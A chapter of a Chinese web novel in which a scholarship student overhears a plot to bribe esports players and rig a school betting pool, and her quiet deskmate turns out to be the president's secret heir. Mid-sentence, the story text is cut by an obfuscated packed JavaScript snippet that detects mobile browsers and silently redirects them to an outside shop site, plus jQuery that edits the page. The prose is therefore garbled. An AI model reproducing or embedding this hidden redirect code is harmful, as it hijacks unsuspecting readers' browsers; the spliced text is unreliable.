温如漾回到教室。
中午短短两个小时,她不仅在食堂怒怼圣诞树,还在榕树下和司凛签了合同书,从未发现生性好吃懒做贪财好色的自己竟有如此高精力,果然,逆境和贫穷才能激发潜力。
她扫过一排座位,寻找同桌柯忱的身影,发现柯忱高大的身影缩在窄小的座位上,手里捏着一个廉价海苔饭团,一边咀嚼一边心无旁骛地翻看新课本,预习接下来的课程。
温如漾震惊,震撼,心灵震颤。
家人们谁懂啊,在物欲至上、背景为王的圣格伦斯,居然还能看到柯忱这样的清流人物。
他简直是草根派的化身,平民之光的代言人,起点逆袭文的男主,jump漫画里主角团会拯救的路人,简直是圣格伦斯最后的清流。
柯忱,你这么努力,一定会成功的。
至于如何成功,可以等她靠黑料赚大钱翻身农奴成为资本家,就来高薪雇佣他!
温如漾落座在柯忱身边,两人闲聊了社团话题,柯忱思考了一下,说自己希望加入校园记者团,温如漾说自己可能会加入电竞社混个学分。
下午的课程正式开始。
不得不说,传媒系一年级的课表简直丧心病狂,一节大课足足三小时,对于温如漾这种上课十分钟,灵魂飘到外太空的人来说,无异于当代十大酷刑。
好在圣格伦斯是个阶级分明的地方,温如漾可以随意放空,不用担心上课提问,因为在课堂回答问题的权利,也是按少爷小姐们的身价排序的。
毕竟课堂表现直接挂钩平时分,这群天龙人卷起绩点来比谁都狠,绝对不会放过任何一个加分机会。
而讲台上的老师们也深谙此道,乐得卖豪门子女一个顺水人情,在提问时精准避开所有寒门子弟。
先天出生在罗马的人,后天卷起来也比一般人更拼命,也难怪财富总是掌握在他们手里,这群天之骄子更是打心底里看不上平民。
老师们目光扫视全场寻找提问对象时,视线都会极其自然地跳过温如漾和柯忱这两个毫无背景的特招生,把他们当成教室里两块会喘气的背景板。
在几乎被全世界忽视的角落里,最后一节课的尾声,夕阳映照在桌沿,温如漾一边走神一边在学习平板上记满了笔记。
余光偷瞄同桌,柯忱面色有些疲惫,他清瘦的手指撑着额头,显然是困了在打瞌睡。
“这么困,喝点营养补剂?”老师转身写板书的同时,温如漾小声问。
柯忱惊醒,露出一双略显疲惫却依旧善良柔和的眼,摇了摇头:“没事的……我可以一边休息一边听,我能记住。”
柯忱说的是实话。
他的大脑经过联邦最尖端的基因微调技术,就算是在浅眠,也可以精准捕捉重要信息。
温如漾显然不知道这一点,她只觉得柯忱本来就如同小白花一般倔强单纯,硬撑着说自己可以的模样更加楚楚可怜。
窗外的夕阳将课桌拉出长长的阴影,大课结束,铃声响起,学生们如同刑满释放,教室里很快响起了学生们讨论晚餐去哪家私人会所的欢笑声,温如漾和柯忱在角落里沉默地收拾书包。
柯忱收好书包,相当自然地对温如漾笑:“放学了,一起去公交站吗?”
温如漾手上的动作一顿。
斯曼管家说,今天裴湛安排了飞舰在校园东塔台等她。
她以后都不能和柯忱一起放学了。
温如漾硬着头皮解释一番。
“这样啊。”柯忱并没露出失望的神色,却更显得他体面又易碎,他的笑容在温如漾的眼中也像是强颜欢笑,“那明天见,温同学。”
柯忱像往常一样,手中捧着一本书,独自往校门口的公交站走去。
在圣格伦斯校门口那排一眼望不到头的顶级豪车里,他的背影显得格外扎眼,清贫又孤寂。
温如漾站在原地,感觉她已完全成了罪人,被资本主义的糖衣炮弹俘获,成为了特招生阵营的叛徒,半夜从床上醒来都要抽自己一个巴掌。
柯忱困倦的面容再次浮现。
温如漾决定出于人道主义同学情谊,明天亲手做两杯拿铁带来学校,延续一下前世社畜的社交礼仪。
-
去东塔台的路比温如漾想的复杂。
她看错了指示牌,绕进了一处偏僻的露台,正打算开启导航,却听到了下方传来压抑的谈话声,四周安静,人声显得格外清晰。
“裴屿太狂了,仗着自己是裴家的少爷,真不把我们罗家放在眼里?”
是罗晟的声音,语调依旧带着那股急迫感,仿佛躁狂症下一秒就要发作。
温如漾眼睛一亮,反手就是一个录音键启动。
“放心吧罗哥,裴屿队里的辅助和打野都谈好了。他们两家最近生意不景气,其中一个在做新能源,家底都搭进去了,刷爆了信用卡不敢找家里报销,都没退路,不会出卖我们。”
另一个声音谄媚地笑着。
“只要价钱到位,他们知道该怎么演。”
“那就好。赌盘那边,90%的人都押注裴屿赢,包括什么第一滴血、第一个红buff、经济第一都是他的,可笑。”
罗晟冷笑一声,语气阴鸷:“天才又怎么样,五个人的游戏,不是他一个人说了算,一局塞两个演员,他拼尽全力也无法战胜。”
说到激动处,罗晟身体不自觉地得意摇摆,又传来一阵叮叮当当的饰品响声。
“只要他这场比赛翻车,我手里的现金流就能翻十倍,司社长喜欢看财报,我就送他一份最漂亮的账单。”
“这份投名状,他一定满意,到了年底权力之夜,我就能成功入社了。”
另一个声音提高了声调,发出了典型的反派笑声:“买通选手,操纵盘口,再顺便打压裴家……罗哥,这招高啊,一箭三雕!”
“你小子也趁这会多买点吧,有你赚的。”
“哈哈,谢谢罗哥,改天你家登门拜访。”
温如漾躲在罗马柱后,听得直摇头。
她原本以为罗晟只是个审美独特的圣诞树路人甲,没想到他还有当反派角色的潜质,敢在学校里开地下赌盘,甚至买通对
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17050663|193836||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
手打假赛,还踩着裴屿进入银枢资本社。
名利钱财双丰收,他算盘打得也太响了。
可怜的裴屿,这个看起来不可一世的电竞天才,还没等来亲哥安排的挫折,竟然提前走向对立派系精心设计的陷阱。
楼下传来窸窸窣窣的脚步声,他们聊完了正欲离开,罗晟走在前面,后面的人跟在后面,校服外套搭在胳膊上,半张脸藏在黑色帽衫里。
温如漾看人过目不忘,和罗晟密谋的人居然是刘嘉豪。
她总共也没几个看不顺眼的仇人,意外听个墙角全逮住了。
这波不反杀都对不起她吃瓜大王的名号。
虽然裴湛让她打碎裴屿的电竞梦,但她更不爽这种阴沟里的烂人赢。
-
与此同时,温如漾眼里那个贫穷脆弱的小白花柯忱,依旧随着公交车浮浮沉沉。
五分钟后,公交车在第一个停靠站缓缓停下,柯忱一声不响地下了车,径直走向附近一辆全黑的低调商务车。
车门无声滑开。
柯忱坐上后座,动作利落地摘下了那副显得有些木讷的黑框眼镜。
他原本温和老实人的气质瞬间消散,取而代之的是一种久居上位的肃穆。
前排随行秘书恭敬地递过一份加密平板:“您今天在学校还顺利吗?”
“嗯。”柯忱应了一声,声音低沉冷静。
“总统先生很挂念您。”秘书汇报,“他嘱咐您近期局势动荡,A城的安防不如首都,在情况不明之前,请务必隐匿身份,注意安全。”
“知道了,转告我父亲,我会小心的。”
柯忱其实并不是什么贫穷特招生。
他是联邦总统唯一的继承人,柯伦斯·奥古斯都。两个哥哥先后遇刺,死在枪声之下,他自幼就被带离总统府邸秘密抚养,至今外界都不知道他的存在。
他潜入圣格伦斯,是为了调查学术腐败,监控权贵动向,而选择传媒系,纯粹是因为课业轻松且消息灵通。
昨晚凌晨三点还在熬夜看资料,今天确实很困。
他修长的手指在平板屏幕上轻轻划过,盯着银枢资本社的异常资金流向,冷淡给出结论:“司氏这帮新钱派系,步子迈得太大了。”
随即,他开始翻看圣格伦斯的今日报告。
很巧的是,今天圣格伦斯发生的事件,几乎都和他那个特别的同桌有关。
此时,一艘专属于裴家的豪华飞舰正从天际掠过,轰鸣透过车窗传来。
他嘴角勾起一个极淡的笑容,眼神依旧深邃。
温如漾,裴家出身的佣人,在公共场合和罗晟起争执,把对方气疯了还全身而退,能和司凛做交易,又说要加入裴屿心仪的电竞社。
她的能力远超出自己的想想象,温如漾绝对不是一般的特招生。
她究竟是一枚误入局中的棋子,还是一位隐藏在暗处的玩家?
他打了个哈欠,重新戴上眼镜,眼底锋芒消逝:“加速,我想回去睡觉了。”
车辆瞬间提速,迅速汇入了川流不息的车道中。